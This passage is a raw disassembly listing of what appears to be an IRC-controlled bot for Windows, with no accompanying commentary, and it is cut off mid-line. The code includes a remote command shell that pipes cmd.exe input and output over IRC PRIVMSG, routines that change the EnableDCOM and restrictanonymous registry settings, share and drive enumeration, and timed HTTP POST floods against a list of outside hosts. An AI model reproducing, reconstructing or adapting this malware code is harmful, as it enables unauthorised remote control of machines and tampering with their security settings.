[esp+8+arg_0] push 0 push 1F0FFFh call dword_4F1340 ; OpenProcess mov esi, eax test esi, esi jz short loc_417930 push 0 push esi call dword_4F13AC ; TerminateProcess test eax, eax jnz short loc_417930 push esi xor edi, edi call dword_4F1324 ; CloseHandle loc_417930: ; CODE XREF: sub_4178FE+1Aj ; sub_4178FE+27j mov eax, edi pop edi pop esi retn sub_4178FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_417935 proc near ; DATA XREF: sub_40141B+3C7o push esi xor esi, esi loc_417938: ; CODE XREF: sub_417935+1Ej push 1 push esi push esi push esi push esi push esi call sub_4175DD add esp, 18h push dword_450454 call dword_4F1334 ; Sleep jmp short loc_417938 sub_417935 endp ; =============== S U B R O U T I N E ======================================= sub_417955 proc near ; CODE XREF: sub_417985+2Ap ; sub_4179BD+7Ep ... mov eax, dword_4EF7D4 push esi mov esi, dword_4F1324 cmp eax, 0FFFFFFFFh jz short loc_417969 push eax call esi ; CloseHandle loc_417969: ; CODE XREF: sub_417955+Fj mov eax, dword_4EF7DC cmp eax, 0FFFFFFFFh jz short loc_417976 push eax call esi ; CloseHandle loc_417976: ; CODE XREF: sub_417955+1Cj mov eax, dword_4EF7D0 cmp eax, 0FFFFFFFFh jz short loc_417983 push eax call esi ; CloseHandle loc_417983: ; CODE XREF: sub_417955+29j pop esi retn sub_417955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417985 proc near ; CODE XREF: sub_401CC1+6A46p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_418D00 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4EF7D8 call dword_4F139C ; WriteFile test eax, eax jnz short loc_4179B8 call sub_417955 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4179B8: ; CODE XREF: sub_417985+28j push 1 pop eax leave retn sub_417985 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179BD proc near ; CODE XREF: sub_417A44+D3p ; sub_417A44+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_4EF81C push [ebp+arg_4] call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_417A00 push 7D0h call dword_4F1334 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS_2 ; "PRIVMSG %s :%s\r" push eax call sub_41B740 add esp, 10h jmp short loc_417A17 ; --------------------------------------------------------------------------- loc_417A00: ; CODE XREF: sub_4179BD+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_24 ; "%s" push eax call sub_41B740 add esp, 0Ch loc_417A17: ; CODE XREF: sub_4179BD+41j lea eax, [ebp+var_200] push 0 push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4E08EC test eax, eax jg short loc_417A40 call sub_417955 loc_417A40: ; CODE XREF: sub_4179BD+7Cj xor eax, eax leave retn sub_4179BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A44 proc near ; DATA XREF: sub_417B99+174o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4EF7E0 loc_417A5C: ; CODE XREF: sub_417A44+79j ; sub_417A44+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4EF7D4 call dword_4F142C ; PeekNamedPipe test eax, eax jz loc_417B2A cmp [ebp+var_4], edi jnz short loc_417ABF lea eax, [ebp+var_8] push eax push dword_4EF7D0 call dword_4F1428 ; GetExitCodeProcess test eax, eax jz short loc_417AB5 cmp [ebp+var_8], 103h jnz loc_417B4E loc_417AB5: ; CODE XREF: sub_417A44+62j push 0Ah call dword_4F1334 ; Sleep jmp short loc_417A5C ; --------------------------------------------------------------------------- loc_417ABF: ; CODE XREF: sub_417A44+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_417AD6 loc_417AC6: ; CODE XREF: sub_417A44+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_417B24 inc eax cmp eax, [ebp+var_4] jb short loc_417AC6 loc_417AD6: ; CODE XREF: sub_417A44+80j mov [ebp+var_4], esi loc_417AD9: ; CODE XREF: sub_417A44+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4EF7D4 call dword_4F13A4 ; ReadFile test eax, eax jz short loc_417B76 lea eax, [ebp+var_20C] push eax push ebx push dword_4EF814 call sub_4179BD add esp, 0Ch jmp loc_417A5C ; --------------------------------------------------------------------------- loc_417B24: ; CODE XREF: sub_417A44+8Aj inc eax mov [ebp+var_4], eax jmp short loc_417AD9 ; --------------------------------------------------------------------------- loc_417B2A: ; CODE XREF: sub_417A44+45j push offset unk_4506CC push ebx push dword_4EF814 call sub_4179BD push [ebp+arg_0] call sub_40AB19 add esp, 10h push 1 call dword_4F1388 ; ExitThread loc_417B4E: ; CODE XREF: sub_417A44+6Bj call sub_417955 push offset unk_4506FC push ebx push dword_4EF814 call sub_4179BD push [ebp+arg_0] call sub_40AB19 add esp, 10h push edi call dword_4F1388 ; ExitThread loc_417B76: ; CODE XREF: sub_417A44+C3j push offset unk_450724 push ebx push dword_4EF814 call sub_4179BD push [ebp+arg_0] call sub_40AB19 add esp, 10h push edi call dword_4F1388 ; ExitThread sub_417A44 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B99 proc near ; CODE XREF: sub_401CC1+203Cp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi push edi call sub_417955 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe_0 ; "cmd.exe" push esi call dword_4E0958 test eax, eax jz loc_417C93 lea eax, [ebp+var_1C] mov edi, dword_4F13B8 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], 1 mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_417C93 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_417C93 mov edi, dword_4F13B4 push 3 push esi push esi push offset dword_4EF7D8 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_4F13B0 ; DuplicateHandle test eax, eax jz short loc_417C93 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B190 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B190 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_178] push offset dword_4EF820 push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_4F1328 ; CreateProcessA test eax, eax jnz short loc_417C9B loc_417C93: ; CODE XREF: sub_417B99+2Ej ; sub_417B99+5Cj ... or eax, 0FFFFFFFFh jmp loc_417D4D ; --------------------------------------------------------------------------- loc_417C9B: ; CODE XREF: sub_417B99+F8j push [ebp+var_4] mov edi, dword_4F1324 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4EF7D4, eax mov eax, [ebp+var_8] mov dword_4EF7DC, eax mov eax, [ebp+var_2C] mov dword_4EF7D0, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4EF814, eax jz short loc_417CD5 push [ebp+arg_4] jmp short loc_417CDA ; --------------------------------------------------------------------------- loc_417CD5: ; CODE XREF: sub_417B99+135j push offset dword_4EF824 loc_417CDA: ; CODE XREF: sub_417B99+13Aj push offset dword_4EF7E0 call sub_41B740 pop ecx pop ecx push esi push 0Ah push offset unk_45075C call sub_40A7FD mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4537D0[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_417A44 push esi push esi call dword_4F1338 ; CreateThread cmp eax, esi mov dword_4537DC[edi], eax jnz short loc_417D4B call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_450780 push eax call sub_41B740 lea eax, [ebp+var_378] push eax call sub_41458A add esp, 10h loc_417D4B: ; CODE XREF: sub_417B99+189j xor eax, eax loc_417D4D: ; CODE XREF: sub_417B99+FDj pop edi pop esi leave retn sub_417B99 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+8] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp-98h] rep movsd pop edi pop esi push dword ptr [ebp-8] cmp dword ptr [ebp-10h], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp-94h] push dword ptr [ebp-0Ch] push eax push dword ptr [ebp-98h] jz short loc_417D98 call sub_417DB1 jmp short loc_417D9D ; --------------------------------------------------------------------------- loc_417D98: ; CODE XREF: .nsp0:00417D8Fj call sub_4180D5 loc_417D9D: ; CODE XREF: .nsp0:00417D96j add esp, 10h push dword ptr [ebp-14h] call sub_40AB19 pop ecx push 0 call dword_4F1388 ; ExitThread ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DB1 proc near ; CODE XREF: .nsp0:00417D91p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4E096C, edi jnz loc_417EE3 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4E090C test eax, eax jnz short loc_417E3C mov ax, word_4507F8 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4E08C4 test eax, eax jz short loc_417E1E push offset dword_450808 jmp short loc_417E23 ; --------------------------------------------------------------------------- loc_417E1E: ; CODE XREF: sub_417DB1+64j push offset dword_45082C loc_417E23: ; CODE XREF: sub_417DB1+6Bj lea eax, [ebp+var_214] push eax call sub_41B740 pop ecx pop ecx push [ebp+var_4] call dword_4E087C jmp short loc_417E4F ; --------------------------------------------------------------------------- loc_417E3C: ; CODE XREF: sub_417DB1+36j lea eax, [ebp+var_214] push offset dword_45084C push eax call sub_41B740 pop ecx pop ecx loc_417E4F: ; CODE XREF: sub_417DB1+89j cmp [ebp+arg_C], edi jnz short loc_417E6E push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_417E6E: ; CODE XREF: sub_417DB1+A1j lea eax, [ebp+var_214] push eax call sub_41458A pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4E090C test eax, eax jnz short loc_417EDC lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4E08C4 test eax, eax jz short loc_417EBE push offset dword_450890 jmp short loc_417EC3 ; --------------------------------------------------------------------------- loc_417EBE: ; CODE XREF: sub_417DB1+104j push offset dword_4508CC loc_417EC3: ; CODE XREF: sub_417DB1+10Bj lea eax, [ebp+var_214] push eax call sub_41B740 pop ecx pop ecx push [ebp+var_4] call dword_4E087C jmp short loc_417EF6 ; --------------------------------------------------------------------------- loc_417EDC: ; CODE XREF: sub_417DB1+E2j push offset dword_450900 jmp short loc_417EE8 ; --------------------------------------------------------------------------- loc_417EE3: ; CODE XREF: sub_417DB1+13j push offset dword_45093C loc_417EE8: ; CODE XREF: sub_417DB1+130j lea eax, [ebp+var_214] push eax call sub_41B740 pop ecx pop ecx loc_417EF6: ; CODE XREF: sub_417DB1+129j cmp [ebp+arg_C], edi jnz short loc_417F15 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_417F15: ; CODE XREF: sub_417DB1+148j lea eax, [ebp+var_214] push eax call sub_41458A cmp dword_4E0994, edi pop ecx jnz loc_418090 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_417F38: ; CODE XREF: sub_417DB1+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4E07F4 cmp eax, edi mov [ebp+var_10], eax jz short loc_417FD5 cmp eax, 0EAh jz short loc_417FD5 mov esi, offset off_4507B8 loc_417F69: ; CODE XREF: sub_417DB1+21Dj push dword ptr [esi] push edi call sub_416BA8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_417F80 push offset dword_4509BC jmp short loc_417F85 ; --------------------------------------------------------------------------- loc_417F80: ; CODE XREF: sub_417DB1+1C6j push offset dword_4509E0 loc_417F85: ; CODE XREF: sub_417DB1+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B910 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_417FB8 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_417FB8: ; CODE XREF: sub_417DB1+1EBj lea eax, [ebp+var_214] push eax call sub_41458A add esi, 8 pop ecx cmp esi, offset dword_4507D8 jl short loc_417F69 jmp loc_41806D ; --------------------------------------------------------------------------- loc_417FD5: ; CODE XREF: sub_417DB1+1AAj ; sub_417DB1+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_418064 loc_417FE4: ; CODE XREF: sub_417DB1+2AFj mov edi, [esi] push edi call sub_41E720 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_418059 push edi call sub_416A95 push eax push 0 call sub_416BA8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_418013 push offset dword_45096C jmp short loc_418018 ; --------------------------------------------------------------------------- loc_418013: ; CODE XREF: sub_417DB1+259j push offset dword_450990 loc_418018: ; CODE XREF: sub_417DB1+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B910 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41804C push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_41804C: ; CODE XREF: sub_417DB1+27Fj lea eax, [ebp+var_214] push eax call sub_41458A pop ecx loc_418059: ; CODE XREF: sub_417DB1+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_417FE4 xor edi, edi loc_418064: ; CODE XREF: sub_417DB1+22Dj push [ebp+var_8] call dword_4E092C loc_41806D: ; CODE XREF: sub_417DB1+21Fj cmp [ebp+var_10], 0EAh jz loc_417F38 lea eax, [ebp+var_214] push offset dword_450A0C push eax call sub_41B740 pop ecx pop ecx pop ebx jmp short loc_4180A3 ; --------------------------------------------------------------------------- loc_418090: ; CODE XREF: sub_417DB1+177j lea eax, [ebp+var_214] push offset dword_450A34 push eax call sub_41B740 pop ecx pop ecx loc_4180A3: ; CODE XREF: sub_417DB1+2DDj cmp [ebp+arg_C], edi jnz short loc_4180C1 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_4180C1: ; CODE XREF: sub_417DB1+2F5j lea eax, [ebp+var_214] push eax call sub_41458A pop ecx push 1 pop eax pop edi pop esi leave retn sub_417DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180D5 proc near ; CODE XREF: .nsp0:loc_417D98p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push esi push edi xor edi, edi cmp dword_4E096C, edi jnz loc_418203 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4E090C test eax, eax jnz short loc_418160 mov ax, word_450A64 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom_0 ; "EnableDCOM" push [ebp+var_4] call dword_4E08C4 test eax, eax jz short loc_418142 push offset dword_450A74 jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_4180D5+64j push offset dword_450A98 loc_418147: ; CODE XREF: sub_4180D5+6Bj lea eax, [ebp+var_220] push eax call sub_41B740 pop ecx pop ecx push [ebp+var_4] call dword_4E087C jmp short loc_418173 ; --------------------------------------------------------------------------- loc_418160: ; CODE XREF: sub_4180D5+36j lea eax, [ebp+var_220] push offset dword_450AB4 push eax call sub_41B740 pop ecx pop ecx loc_418173: ; CODE XREF: sub_4180D5+89j cmp [ebp+arg_C], edi jnz short loc_418192 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_418192: ; CODE XREF: sub_4180D5+A1j lea eax, [ebp+var_220] push eax call sub_41458A pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4E090C test eax, eax jnz short loc_4181FC lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanon_0 ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], edi call dword_4E08C4 test eax, eax jz short loc_4181DE push offset dword_450AF8 jmp short loc_4181E3 ; --------------------------------------------------------------------------- loc_4181DE: ; CODE XREF: sub_4180D5+100j push offset dword_450B38 loc_4181E3: ; CODE XREF: sub_4180D5+107j lea eax, [ebp+var_220] push eax call sub_41B740 pop ecx pop ecx push [ebp+var_4] call dword_4E087C jmp short loc_418216 ; --------------------------------------------------------------------------- loc_4181FC: ; CODE XREF: sub_4180D5+E2j push offset dword_450B70 jmp short loc_418208 ; --------------------------------------------------------------------------- loc_418203: ; CODE XREF: sub_4180D5+13j push offset dword_450BAC loc_418208: ; CODE XREF: sub_4180D5+12Cj lea eax, [ebp+var_220] push eax call sub_41B740 pop ecx pop ecx loc_418216: ; CODE XREF: sub_4180D5+125j cmp [ebp+arg_C], edi jnz short loc_418235 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_418235: ; CODE XREF: sub_4180D5+144j lea eax, [ebp+var_220] push eax call sub_41458A cmp dword_4E0994, edi pop ecx jnz loc_4183A7 mov esi, offset off_4507B8 loc_418253: ; CODE XREF: sub_4180D5+1E7j push dword ptr [esi+4] push dword ptr [esi] push edi call sub_416AFC add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41826E push offset dword_450BDC jmp short loc_418273 ; --------------------------------------------------------------------------- loc_41826E: ; CODE XREF: sub_4180D5+190j push offset dword_450BFC loc_418273: ; CODE XREF: sub_4180D5+197j lea eax, [ebp+var_220] push 200h push eax call sub_41B910 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_4182A6 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_4182A6: ; CODE XREF: sub_4180D5+1B5j lea eax, [ebp+var_220] push eax call sub_41458A add esi, 8 pop ecx cmp esi, offset off_4507C8 jl short loc_418253 push ebx call dword_4F1430 ; GetLogicalDrives mov edi, eax mov bl, 41h test edi, edi jz loc_41838F loc_4182D1: ; CODE XREF: sub_4180D5+2B4j mov eax, edi and eax, 1 cmp al, 1 jnz loc_418385 cmp bl, 41h jz loc_418385 movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B910 push esi push offset aC_3 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41B910 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4E08FC cmp eax, 3 jnz short loc_418385 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_416AFC add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41833F push offset dword_450C30 jmp short loc_418344 ; --------------------------------------------------------------------------- loc_41833F: ; CODE XREF: sub_4180D5+261j push offset dword_450C50 loc_418344: ; CODE XREF: sub_4180D5+268j lea eax, [ebp+var_220] push 200h push eax call sub_41B910 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_418378 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_418378: ; CODE XREF: sub_4180D5+287j lea eax, [ebp+var_220] push eax call sub_41458A pop ecx loc_418385: ; CODE XREF: sub_4180D5+203j ; sub_4180D5+20Cj ... inc bl shr edi, 1 jnz loc_4182D1 loc_41838F: ; CODE XREF: sub_4180D5+1F6j lea eax, [ebp+var_220] push offset dword_450C78 push eax call sub_41B740 pop ecx xor edi, edi pop ecx pop ebx jmp short loc_4183BA ; --------------------------------------------------------------------------- loc_4183A7: ; CODE XREF: sub_4180D5+173j lea eax, [ebp+var_220] push offset dword_450C9C push eax call sub_41B740 pop ecx pop ecx loc_4183BA: ; CODE XREF: sub_4180D5+2D0j cmp [ebp+arg_C], edi jnz short loc_4183D8 push edi lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h loc_4183D8: ; CODE XREF: sub_4180D5+2E8j lea eax, [ebp+var_220] push eax call sub_41458A pop ecx push 1 pop eax pop edi pop esi leave retn sub_4180D5 endp ; =============== S U B R O U T I N E ======================================= sub_4183EC proc near ; CODE XREF: sub_4185E1+CBp ; sub_4185E1+DDp ... arg_0 = dword ptr 4 call dword_4F1364 ; GetTickCount push eax call sub_41B840 pop ecx call sub_41B850 cdq idiv [esp+arg_0] mov eax, edx retn sub_4183EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418406 proc near ; CODE XREF: sub_4185E1+D4p ; sub_4185E1+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_418D00 mov esi, 0FFh pop ecx cmp eax, esi ja loc_4185DD push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B190 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_409EFD add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_4185DD push 50h call dword_4E08A0 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4E091C cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_4185DD lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4E084C cmp eax, 0FFFFFFFFh jz loc_4185DD push 32003h call sub_41D910 mov edi, dword_4F1364 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; GetTickCount push eax call sub_41B840 call sub_41B850 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B190 push 32000h push esi push ebx call sub_41B190 push ebx call sub_418D00 push 323EAh mov ebx, eax call sub_41D910 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B740 push [ebp+var_8] push esi call sub_41C310 push offset asc_450D00 ; "\r\n" push esi call sub_41C310 add esp, 40h push esi call sub_418D00 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41855D mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41852D ; --------------------------------------------------------------------------- loc_41852A: ; CODE XREF: sub_418406+155j mov eax, [ebp+arg_0] loc_41852D: ; CODE XREF: sub_418406+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41853D push [ebp+var_C] jmp short loc_41853E ; --------------------------------------------------------------------------- loc_41853D: ; CODE XREF: sub_418406+130j push ebx loc_41853E: ; CODE XREF: sub_418406+135j add eax, esi push eax push [ebp+var_4] call dword_4E08EC cmp eax, 0FFFFFFFFh jz short loc_4185C4 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41852A loc_41855D: ; CODE XREF: sub_418406+118j call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4374F4 fst [ebp+arg_0] fcomp flt_4374F0 fnstsw ax sahf jnz short loc_418585 fld1 fstp [ebp+arg_0] loc_418585: ; CODE XREF: sub_418406+178j push [ebp+var_4] call dword_4E0934 push [ebp+var_8] call sub_419940 push esi call sub_419940 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_4374EC fmul flt_4374E8 call sub_41CEBC loc_4185BF: ; CODE XREF: sub_418406+1D9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4185C4: ; CODE XREF: sub_418406+147j push [ebp+var_4] call dword_4E0934 push [ebp+var_8] call sub_419940 push esi call sub_419940 pop ecx pop ecx loc_4185DD: ; CODE XREF: sub_418406+19j ; sub_418406+42j ... xor eax, eax jmp short loc_4185BF sub_418406 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185E1 proc near ; CODE XREF: sub_401CC1+28BEp var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov 